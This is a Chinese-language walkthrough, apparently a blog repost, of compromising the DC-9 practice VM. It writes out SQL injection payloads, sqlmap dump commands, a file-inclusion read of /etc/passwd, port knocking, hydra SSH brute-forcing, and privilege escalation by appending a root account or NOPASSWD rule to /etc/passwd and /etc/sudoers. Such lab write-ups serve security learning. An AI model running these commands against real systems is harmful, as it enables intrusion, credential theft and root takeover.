大型战役——>渗透实战(七)

admin 2023年12月29日11:51:57评论47 views字数 3771阅读12分34秒阅读模式
当然哦,还是那句话,还是用靶机吧,希望大家都保护好自己,哈哈哈
以后我会更新各种靶机的渗透,希望大家持续关注,跟着我一起学习吧!!!
很适合初级的学习者,其中不乏趣味性,也有点难度,但总体思路是清晰的,有兴趣的师傅不妨试试。

一、拿枪杆子

靶机地址∶
https://www.five86.com/downloads/DC-9.zip

下载靶机后,双击用vmware打开。

靶机环境:处于NAT网络下的VM虚拟机。


二、上战场

1、获取ip地址

大型战役——>渗透实战(七)

2、扫描目标端口号

大型战役——>渗透实战(七)

3、访问目标主机的web服务

大型战役——>渗透实战(七)

看看web服务有没有什么可以利用的点。

大型战役——>渗透实战(七)

看到这个发现,可能存在数据库,继续查看。

大型战役——>渗透实战(七)

sql注入

看到有一个输入框,猜测可能存在sql注入和xss,xss试了,发现没法利用,尝试sql注入。

大型战役——>渗透实战(七)

大型战役——>渗透实战(七)

可以查询正确信息,现在判断是否有注入。

大型战役——>渗透实战(七)

构造这样的语句,可以确定的是,有字符型的sql注入,闭合条件是单引号,然后我们判断它的字段数。

大型战役——>渗透实战(七)

发现输入7列报错,得知字段数为6个,查查他的显示位和数据库名。

mary' union select 1,2,3,4,5,6#

大型战役——>渗透实战(七)

6位都是显示位。

mary' union select 1,version(),database(),4,5,6#

大型战役——>渗透实战(七)

好,到了这一步,我们已经成功的发现存在sql注入漏洞,放进sqlmap中跑出数据库中的内容。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" --dbs

大型战役——>渗透实战(七)

发现成功注入出三个数据库,我们来进行一个一个的查看。系统库,我们就不看了,看看Staff。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D Staff --tables --batch

大型战役——>渗透实战(七)

我们先看看,StaffDetails表。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D Staff -T StaffDetails --columns

大型战役——>渗透实战(七)

现在我们跑出这个表中的所有数据。

大型战役——>渗透实战(七)

发现这个表中的都是我们刚才在主页看的那一大串数据,目前没啥用,换一个表看看。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D Staff -T Users --columns

大型战役——>渗透实战(七)

看到这个列中,看着前后两个字段是有用的,我们去看看有什么信息。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D Staff -T Users -C Password,Username --dump

大型战役——>渗透实战(七)

成功,看到这两个数据。刚才在主页发现还有一个管理界面,我们猜测一下,会不会是那个的登陆账号和密码。

大型战役——>渗透实战(七)

成功登录,但是现在发现,在admin用户中。左下角显示,文件不在这里,我们在发现,这个页面多了Add Record和Log Out两个界面,猜测,可能存在文件包含漏洞,这个时候,我们就去fuzz一下他的参数和参数的内容,看看能不能看到敏感信息。

文件包含

使用bp去fuzz一下,猜测参数是file。

大型战役——>渗透实战(七)

设置好字典,进行fuzz。

大型战役——>渗透实战(七)

发现,使用?file=../../../../../../etc/passwd,成功的证明存在文件包含文件包含漏洞。

我们可以看到有很多账户信息,我们去把他提取出来。

大型战役——>渗透实战(七)

想到刚才我们,跑的数据库可以看到好像有一个账户和密码列表。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D users --tables

大型战役——>渗透实战(七)

发现这样的一个表,去看看里面有什么东西。

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D users -T UserDetails --columns

大型战役——>渗透实战(七)

sqlmap -u "http://192.168.44.135/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump

大型战役——>渗透实战(七)

发现账户密码,把密码做成字典。

大型战役——>渗透实战(七)

现在就尝试去爆破ssh登录了。

hydra -L user.txt -P pass.txt -vV ssh://192.168.44.135

大型战役——>渗透实战(七)

端口敲门

通过发现,ssh端口在一般的linux系统中都是默认打开的,但是我们刚才扫端口的时候发现根本就没有开放22端口,是啥意思呢,可能是:ssh端口本来就没打开,也可能是被隐藏了。我的理解是应该是被隐藏了,不然这个题就没有其他的什么入口了。

被隐藏了,我们就去搜索,被隐藏了咋办,查到了后发现,这可能是一个端口敲门的操作。

我们刚才发现存在文件包含漏洞,我们可以看到主机的敏感文件,查找端口敲门的配置文件,看看能不能读取这个文件,配置文件是:/etc/knockd.conf

大型战役——>渗透实战(七)

成功读取,我们现在利用:nc去敲门。

大型战役——>渗透实战(七)

然后,我们再去看看22端口有没有被敲开。

大型战役——>渗透实战(七)

发现,22端口成功被打开。

现在,我们就可以去尝试爆破。

hydra -L user.txt -P pass.txt -vV -o result ssh://192.168.44.135

大型战役——>渗透实战(七)

记录下来,可以ssh连接的账号和密码。

发现,成功爆破出三个可登录的用户,我们一个一个的去登陆。

然后就可以去找找一些敏感文件,看看可不可以利用。

4、提权

chandlerb用户

大型战役——>渗透实战(七)

尝试提权。

suid -l

大型战役——>渗透实战(七)

find -perm -u=s -type f 2>/dev/null

大型战役——>渗透实战(七)

发现,好像是没什么可利用的,我们去看看有没有其他的什么可以利用的吧。

转了好久,发现这个用户里面好像是没什么敏感的文件可以利用的。

joeyt用户

一样的流程,发现好像是也没什么敏感的东西,也没有什么可以利用的。

janitor用户

找找它的敏感文件,看看有没有什么可以利用的点。

大型战役——>渗透实战(七)

大型战役——>渗透实战(七)

看到了这个密码什么东西,尝试利用,看看可不可以利用,因为是密码,我们尝试去再次爆破看看有没有新账户,用刚才那个用户字典,和我们新生成的密码进行ssh爆破。

hydra -L user.txt -P pass1.txt -vV -o result ssh://192.168.44.135

大型战役——>渗透实战(七)

成功又爆破出两个新用户,把他登记记录下来,方便找到。

fredf用户

sudo -l

大型战役——>渗透实战(七)

发现了这个奇怪的文件,我们去看看这个怎么运行的。

sudo /opt/devstuff/dist/test/test

大型战役——>渗透实战(七)

发现这个是用python脚本运行的,我们去找找这个脚本在哪里。

大型战役——>渗透实战(七)

找到了这个脚本,看看他的内容。

  • #!/usr/bin/pythonimport sysif len (sys.argv) != 3 :    print ("Usage: python test.py read append")    sys.exit (1)else :    f = open(sys.argv[1], "r")    output = (f.read())    f = open(sys.argv[2], "a")    f.write(output)    f.close()
    
    

    通过分析这个脚本,我们可以理解一下:这个脚本的功能是将第一个文件的内容追加到第二个文件中,然后用root用户的权限运行的。太强大了,在这个时候,我们应该是可以想到!

    利用/etc/passwd方法

    openssl passwd -1 -salt admin 123456   -1 的意思是使用md5加密算法   -salt 自动插入一个随机数作为文件内容加密    admin 123456 用户名和密码
    
    

    利用这个进行哈希加盐。

    大型战役——>渗透实战(七)

    利用这个/tmp这个目录

    在这里面写一个超级管理员用户。

    在/tmp目录下建一个2.txt文件,然后将管理员写入

    hacker:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

    大型战役——>渗透实战(七)

    sudo /opt/devstuff/dist/test/test 2.txt /etc/passwd

    利用这个脚本,将我们所写的内容加进去/etc/passwd文件中。

    大型战役——>渗透实战(七)

    然后去超级管理员的家目录中找到flag就可以了。

    利用/etc/sudoers方法

    echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/1.txt

    我们可以发现,/etc/sudoers是改权限的配置文件,通过这个方法,将这个写到/tmp/txt

    文件中,然后利用脚本文件,将我们写的文件追加到目标主机的/etc/sudoers文件中。

    sudo /opt/devstuff/dist/test/test 1.txt /etc/sudoers

    直接利用这个脚本文件的优势,将这行配置文件追加到/etc/sudoers这个系统的配置文件中。

    大型战役——>渗透实战(七)

    成功切换到root用户。

    /root目录中成功找到flag。

    大型战役——>渗透实战(七)

    两种提权的方法, 都是可以利用的,特别的是/etc/sudoers这个配置文件,还是很重要的,又学到一个新的配置文件。

    在做靶场的时候,注意一点,把所有得到的可能会利用的敏感数据,拿一个文档记录下来,方便在后续做的时候找到这个东西。

    三、战后开会

    以上为我的一些做题笔记,大佬勿喷。这算是一个比较综合的靶场了。

    大家思想不要局限了。继续加油吧!!!

    原文始发于微信公众号(LHACK安全):大型战役——>渗透实战(七)

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年12月29日11:51:57
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     大型战役——>渗透实战(七)http://cn-sec.com/archives/2347207.html

    发表评论

    匿名网友 填写信息